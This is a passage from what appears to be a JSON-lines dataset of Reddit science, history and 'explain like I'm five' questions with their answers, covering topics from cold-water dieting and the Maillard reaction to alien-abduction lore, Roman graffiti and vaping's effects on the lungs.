{"q_id": "l02n5", "title": "Is it possible to lose weight by going on a cold-water diet?", "selftext": "Can one possibly lose weight by drinking cold water? Burning calories with cold water seems really far fetched, but somewhat possible since your body would heat cold water up and thus use energy to do so. Just how much cold water, say 2\u00b0C, would you have to drink to burn the same calories as a small bag of Doritos (about 250K calories)?\n\nDoes cold water have any other effects, besides just temp, that could help in general? I am thinking about brain freeze and how that reaction may be indicative of some important process or maybe some unexpected effect on your liver by drinking cold water.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/l02n5/is_it_possible_to_lose_weight_by_going_on_a/", "answers": {"a_id": ["c2ontem", "c2onv8k", "c2ontem", "c2onv8k"], "score": [8, 8, 8, 8], "text": ["250 kcal / 30 degrees = 250 liters of cold water. Doesn't seem particularly practical.\n", "This question has been asked [here](_URL_2_) and touched on [here](_URL_1_) as well as some other threads I can't find at the moment.\n\nThe effect of drinking cold water would have a minimal/negligible effect on daily calorie intake.\n\nAFAIK brain freeze is the [soft palate](_URL_0_) in the rear of your mouth cooling and causing an unpleasant feeling.  You can relieve this at a quicker rate by pressing your tongue against the roof of your mouth to try and warm it more quickly.\n\nDrinking hot vs cold water has **no** difference in effect on your liver whatsoever.  Water is absorbed through the mucous membranes along the GI tract and is used to maintain cell homeostasis and blood volume.\n\nThe liver acts as a filter for your blood, metabolizing things such as alcohol or medication, and aids in digestion of fatty acids.", "250 kcal / 30 degrees = 250 liters of cold water. Doesn't seem particularly practical.\n", "This question has been asked [here](_URL_2_) and touched on [here](_URL_1_) as well as some other threads I can't find at the moment.\n\nThe effect of drinking cold water would have a minimal/negligible effect on daily calorie intake.\n\nAFAIK brain freeze is the [soft palate](_URL_0_) in the rear of your mouth cooling and causing an unpleasant feeling.  You can relieve this at a quicker rate by pressing your tongue against the roof of your mouth to try and warm it more quickly.\n\nDrinking hot vs cold water has **no** difference in effect on your liver whatsoever.  Water is absorbed through the mucous membranes along the GI tract and is used to maintain cell homeostasis and blood volume.\n\nThe liver acts as a filter for your blood, metabolizing things such as alcohol or medication, and aids in digestion of fatty acids."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://secure.wikimedia.org/wikipedia/en/wiki/Soft_palate", "http://www.reddit.com/r/askscience/comments/iowmg/would_you_burn_more_fat_by_standing_in_a_freezer/", "http://www.reddit.com/r/askscience/comments/dmxuf/why_doesnt_drinking_cold_water_cause_us_to_lose/"], [], ["https://secure.wikimedia.org/wikipedia/en/wiki/Soft_palate", "http://www.reddit.com/r/askscience/comments/iowmg/would_you_burn_more_fat_by_standing_in_a_freezer/", "http://www.reddit.com/r/askscience/comments/dmxuf/why_doesnt_drinking_cold_water_cause_us_to_lose/"]]}
{"q_id": "165zch", "title": "the maillard reaction", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/165zch/eli5_the_maillard_reaction/", "answers": {"a_id": ["c7t352d", "c7t4f2l", "c7t4ojb"], "score": [5, 2, 6], "text": ["I mean, this is a pretty complex scientific concept but I'll give it a try.\n\nAmino acids are the compounds that make up proteins (meat, fish, etc) that you ingest. They stereotypically have an amino group at one end of them (Amino meaning Nitrogen-based group).\n\nThis amino group can react with a wide range of things because it has the ability to intrude on other molecule's personal space. This is especially apparent in another group called a carboxyl group (which is essentially a tightly bound oxygen group that has extra \"personal space\" to give) given a certain amount of heat to accelerate the process. \n\nWhen these two compounds come together, they react (combine) and rearrange to form a compound that is as free to rotate as possible and is sometimes edible. \n\nDepending on the amino acid that is used to begin the reaction and the speed of the reaction (based on the heat used) you get different flavors and textures of the compound.\n\n\nThis is as basic as you can get without a fundamental understanding of organic chemistry. ", "Noms taste better when browned ", "Like a five year old? I'll try.\n\nUsually we talk about the Maillard reaction happening with protein, but for the sake of a 5 year old let's talk about sugar instead. The basic concepts are the same.\n\nLet's start with sugar. We can take sugar that is made of one single molecule and eat it, and it can be good. Sugar is made up of different atoms though, and those atoms can go together in lots of different ways, not just in the way that makes that one sugar. When we heat sugar (or other molecules) the atoms that make up that molecule come apart and come back together in different arrangements, or they just shift around until they aren't in the same order anymore. It's kinda like legos. If you have a certain set of legos you can make one finished product (the sugar) or you can take a few of them apart and put them together in a very similar way that isn't quite the same as the original. So when we do that to sugar we can make a whole set of molecules by arranging the atoms in a few different ways. These new molecules taste different and make the sugar look different.\n\nSo that's how sugar turns into caramel, but other molecules do this too. The protein in meats has the same thing happen and it is what makes the meat turn brown and tasty."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "ajpwp0", "title": "if the odds of something is 1/100, and you do it 100 times. what are the odds that you do not get the 1/100", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ajpwp0/eli5_if_the_odds_of_something_is_1100_and_you_do/", "answers": {"a_id": ["eexlo3t", "eexlo9y", "eexlsm0", "eexlts2", "eexlxbs", "eexlz47", "eexlz6w", "eexlzeh", "eexnayu", "eexo82d", "eexoqrp", "eexpm6v", "eeybs81"], "score": [11, 101, 26, 3, 3, 3, 7, 2, 5, 2, 2, 2, 2], "text": ["You have a 99/100 chance of not getting it.  To not get it 100 times in a row, you multiply (99/100) by itself 100 times, so 99/100 to the 100th power.  \n\n\nThis gives you 36.6% chance you dont get it.", "Odds of not getting it at one time: 0.99. Odds of not getting it 100 times in a row: 0.99\\^100 \u2248 0.37, i.e. 37%.", "If the probability of something happening is p (in this case 1/100), then the probability of that something not happening is 1-p (99/100).\n\nIf you have n independent trials, the probability of that something happening every single time is p^n. The probability of it not happening every single time is (1-p)^n\n\n(99/100)^100 \u2248 0.366", "If the odds of \"something\" are 1/100, the odds of NOT \"something\" are 99/100. In order to try \"something\" 100 times and have it still not occur, the odds are 99/100 * 99/100 * 99/100 ... and so on, 100 times. Therefore, (99/100)^100. \n\nThe answer is 36.6%. ", "1/100 chance to win means a 99/100 chance to lose. \n\nThe odds of losing 100 times in a row are (99/100)^100 =.3660 = 36.6%. \n\nIf you have a 36.6% chance of losing 100 times in a row, that means that *every other possible combination of wins and losses* must be the remaining 63.4% chances, so you have a 63.4% of winning *at least once* with a 1/100 chance over 100 attempts. ", "The odds of you not getting  the 1/100 a single time is 99/100. For you to not get the 1/100 at all this needs to happen 100 times in a row.\n\nWe then end up with \n\n(99/100)\\*(99/100)\\*...\\*(99/100) 100 times\n\nor (99/100)\\^100 or around 37%", "If the odds are 1 in 100 that it happens, that means the odds are 99/100 that it doesn't happen. So, the probability of not happening is 0.99.\n\nIf you wanted to know the probability of it not happening twice in a row you would multiply 0.99 x 0.99 which equals 0.9801 or 98.01%\n\nTo calculate the odds of it not happening 100 times in a row you multiple 0.99 times itself 100 times which is also written as 0.99^100. The answer is 0.366 or 36.6%", "Odds of not getting it is 99/100 because its 100% - the odds of getting it so 1-1/100. If you do it twice its (99/100 * 99/100) for the odds of not getting it.  so (99/100)^100 should give you the total chance of not getting it. In this case 36.6%", "Interestingly, in general the probability of something with a 1/n probability not happening after n tries is almost exactly 1/e if n is reasonably big (n = 100 was absolutely big enough) where e is Euler's number. ", "In addition to what everyone else said: It's important that the \"you do it 100 times\" are actually **independent** from each other. This means (in layman terms, it's actually a bit different mathematically) that the result of one trial doesn't influence the result of the other trials.\n\nSo: Rolling dice or flipping coins are independent from another. But, for example, scoring goals in a soccer match are not! Your chance of hitting the first time may be 1/100. But the second time you shoot, perhaps you are insanely hyped up and motivated because you hit the first time. Or you are depressed because you didn't. And on the 68th attempt you are tired anyway.\n\nThere certainly are exercises and models where we have independence (dice, coins, even drawing cards in some circumstances, in biology and medicine when doing studies, we attempt to have independent patients/samples, playing lottery every week over a year, etc.) but many things in real life are **not** independent. The chance of you being involved in a car crash increases the chance of your neighbor being involved in a car crash, because you both live in a place where people own cars, and maybe the streets are not in good condition, or alcohol is cheap... Basically, there's tons of factors that make your car accident NOT independent from the chance that your neighbor will share your fate.\n\nFor the case where things are independent (like your title question), there are easy formulas (as provided by the other redditors in this thread). When things are not independent (most of the real world: Financial Markets, Insurance, Weather, Elections...), calculations get a lot more complicated.", "Hang on, does having the 1 in 100 result happen twice during your 100 trials count as \"not getting the 1/100?\"", "Can I just make a comment to be thanked OP?", "Odds of not getting it are easier to calculate. Then subtract 1 to get odds of scoring. \n\nSo the  first round: 99 over 100 of not getting the result. \n\nSecond round: 99/100 * 99/100, or 0.99\u00b2 = 0.9801 chance if not scoring, meaning 1.99% chance of scoring.\n\nYou wanted 100 times? Then (0.99)^100  gives you 0.366032341273229504930616026572517386189712 of *not* scoring, meaning that after 100 rounds your chance of scoring is 63.39%.\n\nWhen do you reach 100%? That's the biggest secret of natural sciences: **never**.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "4u3wqe", "title": "How did anal probing become associated with alien abductions?", "selftext": "Follow up question: How did this become popularized in western culture and science fiction?\n\nTagged for NSFW, just in case.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4u3wqe/how_did_anal_probing_become_associated_with_alien/", "answers": {"a_id": ["d5n01en", "d5n2uf2"], "score": [2110, 65], "text": ["This is a really interesting question because it actually has *two* answers, which in turn says a lot about the phenomenon of alien abduction narratives.\n\nAlien encounter/abduction/near-miss \"reports\" start to bubble up in the wake of the events at Roswell in 1947. I say \"reports\" in quote marks because it's often difficult to tell whether many of these are *intentionally* fiction (related on radio shows, in pulp magazines; crafted by hypnotist-therapists with a preexisting interest in the paranormal, etc). The first abduction story to truly go viral, of course, was the saga of Barney and Betty Hill from 1961, reconstructed through dreams and hypnosis in the next couple of years and hitting prime time in 1965.\n\nThe Hills' story codified what would become a pattern in abduction narratives, although it has one or two precedents from the 1940s-50s era: the medical examination. Folklorists have seen alien abductions as a \"scientific update\" of supernatural and mundane kidnapping tales. In the 1960s, medicine was a pivotal and socially-oriented prong of science. For example, family medicine was instituted as a formal, board-certifiable specialty at the end of the decade to fill an obvious need: as more and more physicians shifted into more particular specialties with growing scientific advances, more and more families could afford to visit doctors on a regular basis, which had created a large gap.\n\nBoth Betty and Barney reported medical examinations as part of their abductions. Betty described the collection of hair and fingernails, and a long needle being inserted into her belly button. After hypnosis, Barney became the first known abductee to report a probe of some sort being inserted into his rectum. He understood this to have an explicitly sexual purpose, linked immediately to the collection of sperm in a cup.\n\nThere's a lot of drama surrounding whether the Hills were influenced by episodes of *The Outer Limits.* I'll point out that a lot of the things that have been attributed to those episodes (the appearance of the aliens, for example) actually have *long* histories in pulp SF. Perhaps we can tally them up to \"ideas in the air.\"\n\nMore important for current purposes is--*the massive publicity that the Hills' story garnered from 1965 on did not mention the anal probe.* It's hard to say whether the censorship was due to discomfort with sex, rape, or anal sex or rape specifically. The slightly earlier abduction story of Brazilian farmer-turned-lawyer Antonio Vilas Boras, despite his attempts to gain attention prior to the Hills' PR explosion, seems to have faltered based on its crux: he was kidnapped in order to, apparently, reproduce with a sexy female alien. On the other hand, 1965 isn't that far from the introduction to pop consciousness of one Captain James T. Kirk, intergalactic ladies' man.\n\nThrough the 1970s and 1980s, medical testing and, yes, sexual reproduction staked out prominent places in the standard UFO abduction \"script.\" There's not a lot of, er, backdoor action at this point, though. For that we have to wait until 1987. Two media sensations coalesced in this year.\n\nFirst, U.S. president Ronald Reagan struggled with colon polyps and cancer throughout his presidency. In 1985, he underwent a colonoscopy and colectomy during which he transferred power over to the vice president temporarily. A follow-up colonoscopy and polyp removal in 1987 were even more widely publicized.\n\nAll that attention to the president's colon may have inspired, but certainly led people to pick up on a particular detail in a horror-SF-memoir (?) book published shortly after the president's 1987 procedure. Whitley Strieber presents the long story of his encounters with probable extraterrestrials in *Communion* as memoir. He presents the experience of anal probing as very specifically *rape*:\n\n >  Two of the stocky ones drew my legs apart...They inserted this thing into my rectum. It seemed to swarm into me as if it had a life of its own. Apparently its purpose was to take samples, possibly of fecal matter, but at the time I had the impression I was being raped, and for the first time I felt anger.\n\nIn addition to the colonoscopy angle catching people's imaginations, one has to think of public attitudes towards homosexuality in the late 1980s, especially with the AIDS epidemic ravaging the gay male population in the US. (Arguably, a significant portion of \"colonoscopy humor\" in 1980s-1990s media turns on homophobia and stereotypes of masculinity being violated).\n\nIn the scheme of influential alien abduction stories, the Hills' medical testing (minus Barney's recounting of the anal probe) and Strieber's rape-for-science have an important thing in common. When we find stories with similar characteristics whose date of *occurrence* predates them, the *announcement* date occurs afterward. Albert Lancashire didn't report his 1942 abduction that featured many of the now-stock tropes, like medical testing and amnesia, until after the Hills' version was famous. And Budd Hopkins' collected stories published in the 1980s (1981, 1987) are filled with lurid tales of reproductive violation, like the poor Indianapolis woman who recounted being forcibly impregnated and then having the fetus cut out of her stomach. (She was later abducted a *third* time in order to see her child.) But while he claimed to have been told other stories involving anal probes from the 70s and 80s, he \"mysteriously\" had made none of these public until conferences and books in the 1990s.\n\nSo overall, we can pinpoint two places in the folk/lore of UFO encounters and alien abductions where anal probing tried to enter the narrative. The first time, it was supressed. The second time, it caught fire.\n\nETA: Further reading:\n\n* Bridget Brown, *They Know Us Better Than We Know Ourselves: The History and Politics of Alien Abduction* (2007)\n* Thomas Bullard, \"UFO Abduction Reports: The Supernatural Returns in Technological Guise,\" *Journal of American Folklore* 102 (1989) ", "\n\nThe answer begins with NICAP - the National Investigations Committee On Aerial Phenomena. NICAP was a private non-profit research group founded in the late 1950s to investigate reports of UFOs. At the time, it was taken very seriously. Its members included several prominent journalists, scientists, and retired military personnel. It was most active around 1960-1980. Over the years it gradually lost prestige and membership as UFO-ology in general was relegated to the fringes. But for a couple decades it was a big deal. The group worked with the Air Force and the University of Colorado on the \u201cCondon Committee\u201d, an official investigation launched in 1966. \n\nStarting in the 1960s, NICAP began to send investigators to interview people who claimed to be abducted. One of the first interview subjects was a couple, Betty and Barney Hill. Investigator Walter Webb interviewed them in the fall of 1965. Their fanciful story was published in a report entitled [Dramatic UFO Encounter in the White Mountains, New Hampshire: The Hill Case, Sept. 19-20, 1961](_URL_1_). On page 11, Webb recounts Mr. Hill\u2019s description of a medical examination by the aliens:\n\n > He felt cup-like device placed around his genitals and believed sperm specimen was somehow withdrawn. His left arm was scraped for skin cells, and his ears and throat were checked. He was rolled over on his stomach. A cylindrical object was inserted up the rectum, and once again the witness believed something was extracted.\n\nOver the years, several other NICAP interviewees reported medical examinations of various types, but Mr. Hill\u2019s account was particularly well-known in the UFO community. Yet for many years, these stories were not known in the public mainstream, and the Hill report was only known among those in official UFO circles or those who possessed the curious hobby of researching UFOs, the tiny community that came to be known later as Ufologists. \n\nBut the story of Betty and Barney Hill \u2013 which was also made into a book in 1965 \u2013 was certainly known to Ufologist Budd Hopkins. Years later, Hopkins consulted with horror-fiction writer Whitney Strieber before Streiber wrote [the best-selling book *Communion*]( _URL_0_).\n*Communion* purports to be Streiber\u2019s version of his own series of abductions. Streiber wrote:\n\n > Soon I was in more intimate surroundings once again. There were clothes strewn about, and two of the stocky ones drew my legs apart. The next thing I knew I was being shown an enormous and extremely ugly object, gray and scaly, with a sort of network of wires on the end. It was at least a foot long, narrow, and triangular in structure. They inserted this thing into my rectum. It seemed to swarm into me as if it had a life of its own. Apparently its purpose was to take samples, possibly of fecal matter, but at the time I had the impression I was being raped, and for the first time I felt anger.\n\nCommunion was made into a movie in 1992 movie, in which Christopher Walken acts out the probing in an unfortunately memorable scene. By 1997, and the airing of the South Park episode, [\u201cCartman Gets an Anal Probe,\u201d](_URL_2_) the subject was firmly embedded in mass culture.  \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.goodreads.com/book/show/294285.Communion", "http://www.nicap.org/reports/610919hill_report2.pdf", "http://southpark.wikia.com/wiki/Cartman_Gets_an_Anal_Probe"]]}
{"q_id": "cifxe9", "title": "what is a trade school? i hear trade school does not cost a bomb unlike normal universities. i am not american.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cifxe9/eli5what_is_a_trade_school_i_hear_trade_school/", "answers": {"a_id": ["ev4xr4m", "ev4xsy8", "ev57mbo"], "score": [5, 3, 4], "text": ["Trade school is being certified in something specific in a short amount of time compared to university. Most of the time being certified in blue collar jobs like electrical, a/c, registered nurse, chef. Education is required for jobs like this but, trade school is condensed so there isn\u2019t history, art, forging language requirements to be certified.", "Trade schools are schools that train you for work like welding, plumbing, etc. They are generally cheaper and faster and you can often make comparable starting wages as  compared to entry-level engineering jobs.", "In my experience, people tend to say \u2018vocational school\u2019 for a high school-level degree. People go to it instead of to a regular high school. So for example my area has a vocational school that students can choose to go to instead of high school. They still have some high school type classes but you choose to also be trained in auto repair or cosmetology or other skills. This is a free public school. But a trade school tends to be a for-profit school for people above high school age. In my experience."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "ftslt3", "title": "After the April Fools I have to ask, what\u2019s with all the jokes about Patton and his reincarnations?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/ftslt3/after_the_april_fools_i_have_to_ask_whats_with/", "answers": {"a_id": ["fm9j9yo"], "score": [29], "text": ["Patton was a fervent believer in reincarnation, and more specifically, that he had lived many lives as a warrior throughout history, and was quite unabashed about sharing it. Although the famous scene in 1970s *Patton* where he tells Bradley about his involvement in a battle for an ancient Carthaginian city is fictional, it draws on very real ones for inspiration.\n\nIn a real situation, which I believe was included in the film, when Sir Harold Alexander remarked to him that he would have been well suited to command under Napoleon, Patton simply replied that he had been. Hardly a one off remark either, as upon crossing the Danube in 1945, for instance, he waxed nostalgically about Napoleon's attack on Ratisbon, which was near-by their crossing point, in the first person plural of \"our storming-day.\" \n\nThe 19th century was not his only haunt either. the aforementioned scene with Bradley is fictional, but the poem he recites is very real, written by him in 1922 and detailing his fight through time:\n\n    Through the travail of the ages,\n    Midst the pomp and toil of war\n    Have I fought and strove and perished\n    Countless times upon this star.\n\nIt goes on to make mention of everything from hunting mammoth in prehistoric times, through being the Roman legionnaire who \"stabbed our Savior in his sacred helpless side\", detours to dying from a lance wound at Crecy, and of course again touching on Napoleonic times. [The entire piece can be read in *[Parameters](_URL_0_)*. It is perhaps the best illustration of his vision of himself as an eternal warrior destined for battle, and while only a small part of his persona, it is one that is fairly outsize in his remembrance to history.\n    \n**Sources**\n\nAxelrod, Alan. *Patton: A Biography*. St. Martin's Griffin, 2015.\n\nDaniel, J. Furman. *Patton: Battling with History*. University of Missouri Press, 2020\n\nNye, Roger H. \"Whence Patton's Military Genius?.\" *Parameters* 21, no. 4 (1991): 60."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://books.google.com/books?id=KN0cEx-1VncC&amp;q=through+a+glass+darkly#v=snippet&amp;q=through%20a%20glass%20darkly&amp;f=false"]]}
{"q_id": "4x86pp", "title": "How much is actually understood about DNA encoding?", "selftext": "I recently watched a video detailing the innovations made with CRISPR and it got me thinking.  How much do we actually understand about how DNA actually works?\n\nI know that we can recognise what a gene in a particular organism is doing, but is that through trial and error, or do we actually understand the encoding of the DNA?\n\nI guess what I'm getting at here is, are we at a point yet where someone could write a brand new gene from scratch, like they are programming code, or are we only at the stage where we can copy and paste existing things?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4x86pp/how_much_is_actually_understood_about_dna_encoding/", "answers": {"a_id": ["d6dn6vo", "d6do84e"], "score": [3, 2], "text": ["It would be difficult to write a *functional* brand new gene from scratch, but not really because of a lack of understanding concerning the DNA. The issues comes more from the protein side of things. We can easily code DNA that will make a given primary sequence of amino acids, but it is not trivial to *de novo* determine how that sequence will fold into the tertiary structure.\n\nSay, for example, your goal was to make a protein that can bind to a small molecule that you've created. Without any sort of guided evolution, this is currently outside of our the abilities. We could make reasonable predictions on what sort of binding pocket would work, and we could ensure that those residues exist within the protein, but without drawing on previously solved protein structures, getting from the primary to tertiary structure and getting specific residues into specific spots requires searching too large of a folding space.", "We know a lot about DNA coding. However (as with most things in biology) the more we learn, the more we realize we have yet to understand.\n\nThe basic biology of DNA coding, is fundamental to all of biology, and is called the [Central Dogma of Biology](_URL_0_). This is simply: DNA codes for RNA which codes for Protein. \n\nThe code is straight forward. The four nucleic  acids in DNA (Adenosine, Thymine, Cytosine, and Guanine) A, T, C, G code for the four nucleic acids in RNA (Adenosine, Uricil, Cytosine, and Guanine) A, U, C, G respectively. \n\nEvery three nucleic acids in the RNA (or DNA) codes for one of the twenty amino acids that make up protein. This is known as the [triplet code](_URL_1_).\n\nWith this information we can make any polypeptide we want. The problem is that we know a lot less about how polypeptides fold to become functional proteins, than we do about how to code for the amino acids that make the protein. \n\nWe do have a lot of information on the functions of different proteins, and the sequences that make them up, and what amino acids are required. So if we wanted to make up a protein that had the same function as proteins that already existed we could (with some trial and error) probably accomplish that. These types of experiments go on in research labs all the time although the goal is usually to better understand an existing protein, than creating a new one. \n\nThere are a lot more subtleties to DNA coding. Not all of the nucleic acids code for protein, and there are regions that say when to start, when to stop, what conditions to make the protein in, what cell type, what time of day, how much, where in the cell the protein should go and so on and so forth. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Genetic_code", "https://audioboom.com/boos/584207-topic-2-12-triplet-nature-of-genetic-code"]]}
{"q_id": "d0uu0i", "title": "Can doctors identify lung issues just from listening to them with a stethoscope?", "selftext": "I've recently read about the problems with vape cartridges. I have been vaping THC oil, 1-2 grams a month for 3 years. I had a physical early this year and the doctor told me my lungs sounded good and my blood test looked normal. \n\nAre the illnesses that have been affecting people who vape detectable by these types of tests? Are most of their illnesses permanent or are they curable with antibiotics? I had walking pneumonia last winter-- not sure if it was due to the harsh winter or to vaping but it went away after a week on a Z-Pak.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/d0uu0i/can_doctors_identify_lung_issues_just_from/", "answers": {"a_id": ["ezfalpp"], "score": [20], "text": ["There are several layered questions in here that I'll try to answer.\n\n1. *Can doctors hear lung disease with stethoscopes?* Yes.\n\n2. *How?* We place the stethoscope on each of your 5 lung lobes at varying heights to compare sounds and listen for abnormals. Depending on what that abnormal sound is and where it is, our picture of the diagnosis changes.\n\n3. *What is an abnormal lung sound?* If you breathe deeply with your mouth slightly apart, you'll be able to hear with your ears what normal lung sounds like with a stethoscope. If you do the same thing but with pursed lips you'll hear high-pitched whistling. Hearing that with the stethoscope tells us your airways are doing what your mouth is doing: narrowing from spasm, inflammation, etc - this is wheezing. If you do the same thing but with some saliva by your lips while you inhale you'll hear a liquidy \"slurping soup\" sound. Hearing that with the stethoscope tells us air is moving through or past fluid in your lungs, something we call \"crackles\", and fluid in the lungs is bad. If we hear it in one lobe but not others, and you have a fever/cough etc we consider pneumonia. If we hear it at the bases of both lungs and you have kidney/heart issues, we consider that you may have too much fluid in your body. This gets complex, but the type of sound, location, and bigger clinical picture point us in the right direction. We definitely shouldn't (and there are doctors who do, unfortunately) simply listen and say \"that's abnormal, let's get an xray\" without thinking critically about it. There are several types of abnormal sounds, I'm limiting it to 2 for simplicity.\n\n4. *Can doctors hear lung problems caused by vaping?* If the vaping or other disease process has changed the structure or function of the lungs,  then generally speaking yes.\n\n5. *Is vaping going to cause irreversible lung damage?* We don't know. We absolutely can say with certainty that smoking damages your lungs and increases your risk for cancer, as well as heart attacks, strokes, and other things influenced by vascular disease. Vaping has not been around long enough to say if it's worse, as bad, or less bad than smoking tobacco. We simply don't know yet, and shouldn't be telling people otherwise. I would never recommend my patients pick up vaping, but it sure is a gray area when it comes to quitting cigarettes. Antibiotics will only work when used against living organisms causing disease (e.g. bacteria causing pneumonia) - anti (against) bio (life). They will not work if there problem is structural, as is what happens with smoking.\n\nSome stats for you: vaping is ~2x as effective at stopping smoking (18% chance as compared to 10% by gums/patches etc) but it's a fairly flawed study and notably 80% of those people who used vaping to quit were still vaping 1 year later. This means they didn't actually quit, per se, they exchanged vices. Will this be more/less harmful in the long run? We'll see.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.nejm.org/doi/full/10.1056/NEJMoa1808779"]]}
{"q_id": "8j1j5n", "title": "Was there a lot of Ancient/Medieval Shitposting?", "selftext": "Looking back at ancient times/medieval humanity seems to create a perception of this stale, no-fun world of pain and misery. I assume much of this is true, but I must ask, were there many forms of shitposting or other similar things? I've been to some museums in my day, and seen some stone carved genitalia, but they are always given descriptions of romantic statements and beautiful gifts to lovers. None of them say anything like, \"after Gaius burned every field in the village of Saepinum, the villagers repeatedly carved him messages such as these in the relics on display\": \"Hey Gaius, I hope you eat this\"  \"Gaius choke on this and go to tartarus you lazy bastard\" \"To Gaius: A gift\" etc... The way I describe shitposting in this scenario, is things that are purely worthless comedy statements or insults, and general immaturity and stupidity. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8j1j5n/was_there_a_lot_of_ancientmedieval_shitposting/", "answers": {"a_id": ["dywbatc", "dywfevz"], "score": [2, 4], "text": ["While they may not directly answer your question, you may be interested in the following: \n\n[Medieval Jesters - What kind of jokes did they tell?](_URL_1_) as answered by u/texpeare and others  \n\n[What sort of humour was popular in the late Middle Ages?]\n(_URL_0_) by u/Lewed_Losel and others  \n\nDue to tagging limitations, please see the next comment for further links.", "Roman graffiti could be found around brothels and bathrooms, some of which was not only made while defecating, but also about defecating. So really not that different from reddit.\n\nThis graffiti can be washed away by the elements, but some was found preserved quite well at Pompeii:\n\n >  Vesuvius dumped ashes and lapilli on Pompeii for 36 hours, sealing the entire city up to an average height of 20 feet. Since the 18th century, archaeologists have excavated about two-thirds, including some 109 acres of public buildings, stores and homes. The city\u2019s well-preserved first level has given archaeologists, historians and classicists an unparalleled view of the ancient world, brought to a halt in the middle of an ordinary day.\n\n >  From the very beginning, archaeologists noticed copious amounts of graffiti on the outsides of buildings. In the late 1800s, scholars began making careful copies of Latin inscriptions throughout the ancient Roman world, including Pompeii, and cataloging them. This effort is a boon to scholars like Benefiel, since more than 90 percent of Pompeii\u2019s recorded graffiti have since been erased by exposure to the elements.\n\nSource: _URL_0_\n\nSearchable list:  _URL_2_\n\nA few of my favorites from this [Source](_URL_1_\n) (nsfw?):\n\n >  II.7 (gladiator barracks); 8767: Floronius, privileged soldier of the 7th legion, was here.  The women did not know of his presence.  Only six women came to know, too few for such a stallion\n\n >  III.5.1 (House of Pascius Hermes; left of the door); 7716: To the one defecating here.  Beware of the curse.  If you look down on this curse, may you have an angry Jupiter for an enemy\n\n >  IX.8.3 (House of the Centenary; in the latrine near the front door); 5243: \u201cSecundus defecated here\u201d three time on one wall"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/81xno7/what_sort_of_humour_was_popular_in_the_late/", "https://www.reddit.com/r/AskHistorians/comments/1p2n54/medieval_jesters_what_kind_of_jokes_did_they_tell/"], ["https://www.smithsonianmag.com/history/reading-the-writing-on-pompeiis-walls-1969367/", "http://www.pompeiana.org/Resources/Ancient/Graffiti%20from%20Pompeii.htm", "http://agp.wlu.edu/Graffiti/results?browse=true"]]}
{"q_id": "rbfl3", "title": "Will opening a door darken a room?", "selftext": "Suppose you are trying to sleep in a small room with several doors and a lamp.  It is hard to fall asleep because of the brightness of the lamp.  Will opening the doors \"darken\" the room (the rooms on the other side of the doors are dark)?  Will some of the photons now travel to the other room as opposed to bouncing off the walls in your room?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/rbfl3/will_opening_a_door_darken_a_room/", "answers": {"a_id": ["c44giat", "c44gij5", "c44gikw", "c44gm26", "c44hh8c", "c44lbmr", "c44mmfd"], "score": [515, 13, 4, 49, 8, 2, 3], "text": ["Yes, very slightly. Light that would have previously been reflected off the surface of the door will now move through to the adjacent dark room, lightening it by a very slight degree.\n\nHowever, the brightness of the lamp itself (as the source of the light) will not get any darker and it won't help you sleep better. This is because you could say that there are two different light sources: the light coming directly from the lamp and hitting your eyes, and the light that is heading out in different directions - away from your eyes - and reflecting off the surrounding walls and doors back at your eyes. The latter is the background light which illuminates the room, while the former is the direct light which is the cause of the glare.\n\nBy opening the door, the light is lowered in two subtly different ways: the light that would have reflected off the door and at your eyes is no longer there, and the light that would have reflected off in other directions and scattered / bounced around the room - raising the lux levels around the room in general - is also gone. However, these are both very slight reductions (also mediated by the fact that any light going into the next room could also reflect back, such as if the lamp illuminated the carpet in the open doorway). So, to answer your question, opening a door will probably darken the room *very* slightly, but not the perceived brightness of the lamp itself. Maybe it's time for a dimmer switch?\n\n*/edited for clarity*\n\n/architect with many years of dealing with environmental consultants and lighting engineers.", "Yes, but probably not by a noticeable amount.  If you're in a 3m x 3m room with 2.5m ceilings, there's (2 \\* 3mx3m = 18m^2 of ceiling/floor) + (4 walls \\* 3mx2.5m = 30m^2 of walls) = 48m^2 of area.\n\nLet's generously say your door is 1m wide by 2.5m tall, so 2.5m^2 of door.\n\nSo even with generous estimates under ideal conditions (all parts of wall/floor reflecting light evenly), opening the door could reduce the brightness in the room by 4-5%.", "Well the lamp won't be any darker but the total amount of light coming at you from all directions will be less.", "Interior designer here. Really, it depends upon the surfaces involved. if your room is black with matte finishes, and the adjoining rooms are white with gloss finishes, opening the doors will actually brighten your room, effectively adding more surface area for light to bounce off of and reenter your eyes. However if you switch these factors, (light room, dark halls) the inverse will be true and your room will get darker. Different surfaces reflect different levels of light, and by changing the quantities and relationships of these surfaces, you can alter how much light is present in a space at a given time. \n\nedit- Chris probably said it in a more complete manner than I did. Also, architects tend to trump interior designers as a rule. ", "Yes.\n\nJust imagine you're in small circular room surrounded by white doors, with a lamp in it.   This room is sitting in a dark field at night.\n\nWith the doors closed, you're in a small white space with a bright light.\n\nWith the doors opened, you're basically in a dark field with a 